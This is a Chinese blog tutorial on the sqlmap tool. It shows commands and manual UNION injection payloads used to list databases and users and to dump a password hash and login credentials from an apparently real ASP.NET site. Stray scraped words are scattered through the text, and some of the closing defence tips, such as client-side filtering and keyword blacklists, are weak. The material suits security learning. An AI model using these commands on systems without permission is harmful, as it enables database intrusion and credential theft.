[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
这是最近学习渗透和网站攻防的文章，但愿能深刻地学习这部分知识，本身做为一个初学者，前一篇文章从数据库原理解读了防止SQL注入，这篇文章经过SQLMAP工具简单介绍SQL注入及用法。本身仍在慢慢探索网络攻防和渗透，但愿文章对你有所帮助，尤为是学习网络安全的初学者，若是文章中存在错误或不足之处，还请海涵~python
一.SQLMAP介绍
1.基础介绍
2.安装过程
3.漏洞检测
二.SQLMAP基础用法
1.获取全部数据库
2.获取当前数据库
3.获取数据库全部用户
4.获取数据库当前用户
5.获取数据库全部用户和密码
6.获取数据库全部表
7.获取数据库登陆表全部字段
8.获取数据库登陆表用户名和密码
三.总结
前文欣赏：
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入git
强推文章：
渗透测试工具sqlmap基础教程 - zgyulongfei
程序员
一. SQLMAP介绍
1.基础介绍
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
github
SQLMAP是一款很是强大的开源渗透测试工具，用于自动检测和利用SQL注入漏洞控制数据库服务器的过程。它配备了一个强大的检测引擎，由Python语言开发完成，经过外部链接访问数据库底层文件系统和操做系统，并执行命令实现渗透。
2.安装过程
因为它是经过Python语言开发完成，须要安装Python环境，下面开始安装SQLMAP。
方法一：调用Pyhon命令pip install sqlmap安装
正则表达式
方法二：从Github中获取SQLMAP进行安装
下载地址：https://github.com/sqlmapproject/sqlmap
3.漏洞检测
cd去到Python环境sqlmap文件夹下，运行命令：
sql
python sqlmap.py -u "http://..../tztgxx.aspx?code=115"运行结果以下图所示，-u表示网址url。
输出GET的四种注入类型，分别为：boolean-based blind、stacked queries、time-based blind、UNION query。这里你可能会发现和咱们的第一篇文章手动讲解SQL注入相似，包括：AND 1327=132七、UNION ALL等。
数据库
输出结果：
(1) 操做系统：Windows 2000
(2) Web应用技术：ASP.NET，ASP.NET 2.0, Microsoft IIS 5.0
(3) 数据库：Microsoft SQL Server 2000
下面经过一个实例进行讲解SQLMAP的基础用法。安全
二. SQLMAP基础用法
SQLMAP的基础用法和前面基础文章相似，都是经过漏洞和SQL语句获取相关信息，具体用法以下：服务器
1.获取全部数据库
参数：--dbs
命令：
网络
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --dbs运行结果以下图所示，获取9个数据库，其中--dbs参数表示databases。
2.获取当前数据库
参数：--current-db
命令：
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db运行结果以下图所示，获取9个数据库。其中--current-db参数表示当前数据库，至关于前文MSSQL的db_name()获取数据库字段。
输出结果：akykd_new
对应前文：
http://xxxxx/show.asp?code=-1' union all
select 1,null,3,null,null,6,host_name(),@@version,db_name(),10 --
输出结果以下所示：
附件3：ahykd_new
其中数据库的名称就是ahykd_new，接下来相同的道理获取数据库全部表及列。
3.获取数据库全部用户
参数：--users
命令：
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --users运行结果以下图所示，获取2个用户库。
输出结果：两个用户
(1)BUILTIN\\Adminstrators
(2)sa
4. 获取数据库当前用户
参数：--current-user
命令：
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-user运行结果以下图所示，获取当前数据库用户sa。
5. 获取数据库全部用户和密码
参数：--passwords
命令：
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords运行结果以下图所示，获取数据库用户和密码。
输出结果：
database management system users password hashes:
[*] BUILTIN\\Administrators [1]:
password hash: NULL
[*] sa [1]:
password hash: 0x01006e27653a36bbc7907ec45a0060e0c5065ea5172f249faa73ba704d1440b4ec497e552b6c1c27a6a34b7f575b
6. 获取数据库全部表
参数：-D ahykd_new --tables
命令：
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new --tables运行结果以下图所示，获取数据库ahykd_new的全部表，其中-D表示数据库，--tables表示全部表。
经过人为猜解，知道登录表位usr。
对应前文：
http://xxxxx/show.asp?code=-1' union all
select 1,null,3,null,null,6,7,8,
(select top 1 name from sysobjects where type='U'),10 --
输出结果以下所示：
附件1：7
附件2：8
附件3：kc_jxjd
其中top 1 name用于输出1个字段 ，sysobjects中u为用户表。
7. 获取数据库登陆表全部字段
参数：-D ahykd_new -T usr --columns
命令：
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr --columns运行结果以下图所示，获取数据库ahykd_new的登陆表usr全部字段，其中-D表示数据库，-T表示表，--columns表示usr表全部列。
是否是感受到了SQLMAP的强大，其中用户名usr_name、密码passwd。
对应前文：
http://xxxxx/show.asp?code=-1' union all
select 1,null,3,null,null,6,7,8,
(select top 1 name from syscolmns where id=object_id('usr')),10 --
输出结果以下所示：
附件1：7
附件2：8
附件3：answer
其中top 1 name用于输出1个字段，表usr的一个列表。
8. 获取数据库登陆表用户名和密码
参数：-D ahykd_new -T usr -C "usr_name,password" --dump
命令：
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,password" --dump
获取数据库ahykd_new的登陆表usr全部字段，其中-D表示数据库，-T表示表，-C表示输出字段（usr_name、passwd），--dump输出全部值。
若是字段内容太多，能够设置输出个数，如10个用户名和密码。
参数：-D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump
命令：
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump输出结果为空，报警告“the SQL query provided does not return any output”。
正常的输出结果例以下图所示，再经过md5解密便可。
三. 总结
真正的困难在于如何找到一个存在漏洞的网站，如何去防御。如今不少网站都应作好相关防护措施，手工SQL注入是没有反应的，可是找到漏洞后，再利用SQLMAP就可以找到相应的用户名和密码。
参考前文，我的理解的防护措施：
1.在URL设置不容许非法字符，如单引号、等号、注释--、减号，提示非法参数；
2.在URL设置不容许SQL常见的关键词，如and、select、or、insert等；
3.传递的id=115参数必须为数字才能正常跳转，不然跳转错误；
4.服务器启用SQL注入拦截功能，提示当前网页的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墙拦截，由于可能经过POST、Cookies进行攻击，各方面都须要作到防护。
5.可使用JS在客户端进行不安全字符屏蔽，也能够在jsp中调用该函数检查是否包函非法字符，或使用正则表达式过滤传入的参数，防止SQL从URL注入。
但愿文章对你有所帮助，尤为是网络安全的程序员，由于系列文章是和前文息息相关的，因此看着有些凌乱。若是文章存在错误或不足之处，还请海涵。感谢娜师傅的一路陪伴，学中文的扔掉了手中的尤克里里，教我写代码也是很疯狂的啊，哈哈！不忘初心，继续前行。加油，秀璋。绿妖，晚安！
(By:Eastmount 2017-07-17 晚上12点 http://blog.csdn.net/eastmount/ )